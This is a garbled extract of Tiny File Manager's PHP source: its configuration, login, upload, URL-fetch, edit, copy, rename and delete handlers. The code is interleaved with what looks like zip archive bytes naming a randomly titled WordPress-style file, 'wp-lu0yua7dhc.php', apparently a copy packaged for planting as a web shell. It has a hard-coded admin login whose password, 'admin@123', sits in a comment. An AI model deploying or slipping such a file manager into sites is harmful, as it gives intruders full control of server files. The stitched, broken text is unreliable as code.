__construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKQB\kvelements/wp-lu0yua7dhc.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; 